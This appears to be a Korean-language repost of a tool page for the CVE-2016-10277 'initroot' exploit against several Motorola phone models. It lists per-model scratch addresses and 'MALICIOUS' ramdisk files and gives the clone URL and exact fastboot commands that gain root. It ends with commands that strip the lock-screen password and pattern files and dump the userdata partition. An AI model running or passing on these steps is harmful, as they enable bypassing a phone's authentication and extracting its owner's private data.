CVE-2016-10277 악용

자세한 정보: https://alephsecurity.com/2017/06/07/initroot-moto/

기기가 취약한지 확인만 하려면, 수정하지 않은 스톡 ramdisk를 플래싱하는 것이 더 빠를 수 있습니다. 해당하는 경우 initroot-*-STOCK*.cpio.gz 파일을 찾기만 하면 됩니다.

Motorola XT-1033

• 스크래치 주소: 0x11000000
• 패딩: 64MB
• 스톡롬 패딩 램디스크: initroot-xt1033-p64-STOCK.cpio.gz
• 스톡롬 패치 및 패딩 램디스크: initroot-xt1033-p64-MALICIOUS.cpio.gz

Motorola XT-1040

• 스크래치 주소: 0x11000000
• 패딩: 64MB
• 스톡롬 패딩 램디스크: initroot-xt1040-p64-STOCK.cpio.gz
• 스톡롬 패치 및 패딩 램디스크: initroot-xt1040-p64-MALICIOUS.cpio.gz

Motorola XT-1068

• 스크래치 주소: 0x11000000
• 패딩: 64MB
• 스톡롬 패딩 램디스크: initroot-xt1068-p64-STOCK.cpio.gz
• 스톡롬 패치 및 패딩 램디스크: initroot-xt1068-p64-MALICIOUS.cpio.gz

Motorola XT-1069

• 스크래치 주소: 0x11000000
• 패딩: 64MB
• 스톡롬 패딩 램디스크: initroot-xt1069-p64-STOCK.cpio.gz
• 스톡롬 패치 및 패딩 램디스크: initroot-xt1069-p64-MALICIOUS.cpio.gz

Motorola XT-1078

• 스크래치 주소: 0x11000000
• 패딩: 64MB
• 스톡롬 패딩 램디스크: initroot-xt1078-p64-STOCK.cpio.gz
• 스톡롬 패치 및 패딩 램디스크: initroot-xt1078-p64-MALICIOUS.cpio.gz

Motorola XT-1514

• 스크래치 주소: 0x90000000
• 패딩: 64MB
• 스톡롬 패딩 램디스크: initroot-xt1514-p64-STOCK.cpio.gz
• 스톡롬 패치 및 패딩 램디스크: initroot-xt1514-p64-MALICIOUS.cpio.gz

루트 액세스 실행 및 확인:

• 플래싱 및 부트루프 해결:

  root@kitploit:~

  git clone https://github.com/leosol/initroot.git
  cd xt1040 (or any other folder)
  use ./run-malicious.sh, run-stockramfs.sh and solve-bootloop.sh (if you have any bootloop)
  Or use the following commands:
  fastboot flash aleph $FILE_NAME
  fastboot oem config fsg-id "a initrd=SCRATCH+PAD,LENGTH"
  fastboot continue
  #use the following to solve bootloops
  fastboot oem config fsg-id ""
  

• 루트 권한 확인:

  root@kitploit:~

  root@debian-vaio:~/motoramfs/xt1040# adb devices
  List of devices attached
  * daemon not running. starting it now on port 5037 *
  * daemon started successfully *
  T0092020C5	device
  
  root@debian-vaio:~/motoramfs/xt1040# adb shell
  root@peregrine:/ # getenforce
  >Permissive
  

• 루트로 무엇을 할 수 있나요?

  root@kitploit:~

  #remove authentication as pointed out by @kraftdenker (tested on xt1068)
  mv /data/system/gatekeeper.password.key /data/system/_gatekeeper.password.key
  mv /data/system/gatekeeper.pattern.key /data/system/_gatekeeper.pattern.key
  
  #dump your data
  adb pull /dev/block/platform/msm_sdcc.1/by-name/userdata
  
  #or make it permanent